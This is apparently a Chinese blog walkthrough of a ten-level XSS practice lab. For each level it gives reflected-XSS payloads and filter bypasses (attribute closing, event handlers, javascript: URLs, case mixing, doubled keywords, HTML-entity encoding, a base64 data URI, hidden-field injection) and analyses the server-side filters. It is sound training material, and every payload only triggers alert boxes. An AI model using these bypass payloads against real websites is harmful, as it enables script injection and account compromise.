在这里插入图片描述

level 1

在这里插入图片描述
观察题目,发现用户名在url处被提交,且输出用户名的长度为4
2. 查看源码,发现参数未进行任何过滤,猜测为反射型xss在这里插入图片描述
3. 修改name参数为

<script>alert("xss")</script>

在这里插入图片描述

level 2——闭合标签

在这里插入图片描述

  1. 观察页面提示,发现依然为反射型xss,但是与上一关不同之处在于有了搜索框。
  2. 尝试添加与上一关相同的参数在这里插入图片描述
  3. 查看源码,发现<>被HTML字符实体化为&lt、&gt"HTML字符实体化为&quot在这里插入图片描述
    猜测在服务器端对keyword这个参数使用了htmlspecialchars()函数,但是value参数中的值未被恶意编码,其中输入的payload被赋值给value,可以考虑闭合value的参数值。
  4. 显示在页面上的恶意代码不可以改变,于是尝试从标签中的属性进行突破,将属性中的><进行闭合
"><script>alert('xss')</script>//

在这里插入图片描述

level 3——单引号闭合并添加事件

  1. 尝试提交一个随便的参数,查看url中是否有提示在这里插入图片描述
  2. 输入构造的弹窗测试语句
 <script>alert("xss")</script>

查看页面响应并查看网页源代码在这里插入图片描述
发现于上一关基本相同,区别在于value值也被转义。
4. 对照服务器端的源码,在这里插入图片描述
keywordvalue两个参数均使用了htmlspecialchars()函数,且参数value的闭合方式为单引号。
5. 最后的<> 均被转义,无法逃出<input>标签,因此考虑事件驱动。

'οnfοcus=javascript:alert('xss')>

没有直接跳转,而是考虑onfocus事件属性,需要点击输入框才能出现弹窗
在这里插入图片描述

level 4——双引号闭合并添加事件

  1. 尝试输入
    <script>alert('xss')</script>在这里插入图片描述
    发现依然为get传参。

  2. 查看网页源码,<h2>标签处的将<>进行了转义,而参数value<> 删除了。在这里插入图片描述

  3. 查看服务器端的源码,其中value的闭合方式为双引号在这里插入图片描述

  4. 但事件触发不使用这两处的符号,于是用上一关的方法

"onfocus=javascript:alert('xss')>//

在这里插入图片描述

level 5——javascript伪协议

  1. 输入语句<script>alert("xss")</script>进行测试,发现依然为get方式传参。在这里插入图片描述
  2. 查看网页源码,发现<h2>标签处进行转义,而参数value的标签<script>中被恶意添加了下划线。在这里插入图片描述
  3. 我们尝试上一关触发事件的payload
"onfocus=javascript:alert('xss')> 

查看网页源码发现onfocus也被恶意添加了下划线。在这里插入图片描述
4. 查看服务器端源码,闭合方式为双引号在这里插入图片描述

  • 将get方式传递到服务器端的keyword参数的值进行全小写的转换,然后赋值给str变量。
  • 通过str_replace()函数来破坏变量值中的敏感字符的语义。
  • 通过htmlspecialchars()函数处理之后显示到网页上,
  • 直接将进行敏感字符处理之后的变量值插入到<input>标签的value属性值中。
  1. 因此我们可以换一个标签来执行js代码
"> <a href=javascript:alert('xss') > xss</a> //

在这里插入图片描述
点击xss链接即可出现弹窗。在这里插入图片描述

level 6——大小写绕过

  1. 使用弹窗语句测试
<script>alert("xss")</script>

依然为get传参。在这里插入图片描述
2. 查看网页源码,发现<script>标签依然被恶意添加了下划线在这里插入图片描述
3. 使用onfocus事件测试,

"οnfοcus=javascript:alert("xss")>

同样被恶意添加了下划线在这里插入图片描述
4. 使用<a href=" ">标签来测试,

"> <a href=javascript:alert('xss') > xss</a> //

同样href被恶意添加下划线在这里插入图片描述
5. 对href尝试大小写绕过

"><a HrEf=javascript:alert("xss")>xss</a>//

在这里插入图片描述
6. 查看服务器端源码在这里插入图片描述

  • get方式传递到服务器端的keyword参数的值赋值给str变量。
  • 用字符<script去匹配我们提交的参数值,如果匹配到了就进行替换来破坏原来的语义导致无法实现xss。此处能够防范的是<script> </script>这一类的恶意代码。
  • 可以看到是用字符on去匹配参数值,如果匹配到了就进行替换破坏原有语义。这里主要防范的是利用带有on字符的事件来触发恶意代码,比如前面用到过的onfocus事件。
  • 可以看到是用字符src去进行匹配,得提到<img>标签。

在标签中引用图片会用到一个属性就是src。正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。

<img>标签代码:?name=<img src=111 onerror=alert('xss')>
  • 用字符data进行匹配的,比如如果在实际情况中,javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=

javascript:alert("xss") 

或者

<script>alert("xss")</script> 

的作用是一样的。

  • 可以看到是用<a> </a>标签中的字符href来进行匹配,防止通过在href属性中插入js代码来点击执行。
  • htmlspecialchars()函数对变量str进行处理后显示到网页上。
  • 直接将str变量值插入到了标签的value属性值中

level 7——双写绕过

  1. 使用弹窗语句
javascript:alert("xss")

进行测试,并查看网页源码在这里插入图片描述发现<h2>标签中的双引号被转义处理,且参数value中的script也被删除。
2.

"onfocus=javascript:alert('xss')>//     on被删除

在这里插入图片描述

"><a href=javascript:alert("xss")>xss</a>//

在这里插入图片描述

"><a HrEf=javascript:alert("xss")>xss</a>//     均转化为小写

在这里插入图片描述

"><a hrehreff=javascriscriptpt:alert("xss")>xss</a>//    双写关键字

在这里插入图片描述
3. 查看服务器端代码
在这里插入图片描述

  • 对参数值转换成了小写
  • 将基本的关键字都删除了,但是均只执行了一次 所以可以双写关键字绕过

level 8——unicode编码绕过

  1. 测试语句并查看网页源码,提交的参数值一个会插入到<input>标签的value属性值中,一个会插入到下方<a>标签的href属性值中。
javascript:alert("xss")

在这里插入图片描述
2. 依然为get方式传参,且<a>标签中javascript被恶意添加下划线,参数value中的双引号也被转义
3.

"onfocus=javascript:alert('xss')>//

在这里插入图片描述
onfocus也被恶意添加了下划线
4. 闭合语句的引号被编码;onfocus、javascript均被恶意破坏语义;未删除关键字,则双写关键字绕过也不可以;大小写绕过也不可以;
考虑使用加密的方法
5. 将弹窗语句进行unicode编码为&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;在这里插入图片描述在这里插入图片描述

level 9——检测关键字存在

  1. 尝试弹窗语句
javascript:alert('xss')

并查看网页源代码在这里插入图片描述
2. 本关依旧为get方式传参,提交的参数值插入到了标签的value属性值中,发现value值的单引号被转义。
3. 但是在<a>标签的href属性中却并没有出现该参数值,而是显示的 "您的链接不合法?有没有!"这样的字符串,猜测这里可能对url地址做了匹配。只有包含正常的url地址才能添加到href属性值中,因此构造一个有正常url地址的恶意代码:

javascript:alert('xss')http://www.qq.com

在这里插入图片描述
javascript被恶意添加下划线
4.

javAsCript:alert('xss')http://www.qq.com    //尝试大小写绕过

在这里插入图片描述

javascriscriptpt:alert('xss')http://www.qq.com    //双写关键字绕过

在这里插入图片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;
&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#104;&#116;&#116;
&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#113;&#113;&#46;&#99;&#111;
&#109;        
//全部编码

在这里插入图片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;
&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;
&#39;&#41;【javascript:alert('xss')的unicode编码】//http://www.bbaidu.com

在这里插入图片描述
5. 查看服务器端的代码在这里插入图片描述

判断如果字符中没有http://的话就会返回false,接着在href属性值中就会出现"您的链接不合法?有没有!"判断成功后,返回第一次出现的位置,将该字符插入到href属性值中了

level 10

  1. 尝试在url中输入测试语句并查看网页源码。
<script>alert('xss')</script>

在这里插入图片描述
<h2>标签中的<>被转义,并发现了三个看不懂的<input>标签

  1. 查看服务器端的源码在这里插入图片描述
    $str22说明是接收t_sort参数值的。$str33会删除t_sort参数值中的<>
    这一关就只能是将js代码插入到<input>标签的属性值中来执行,而不能通过闭合<input>标签引入新的标签来触发xss了。

  2. t_sort<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。

<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐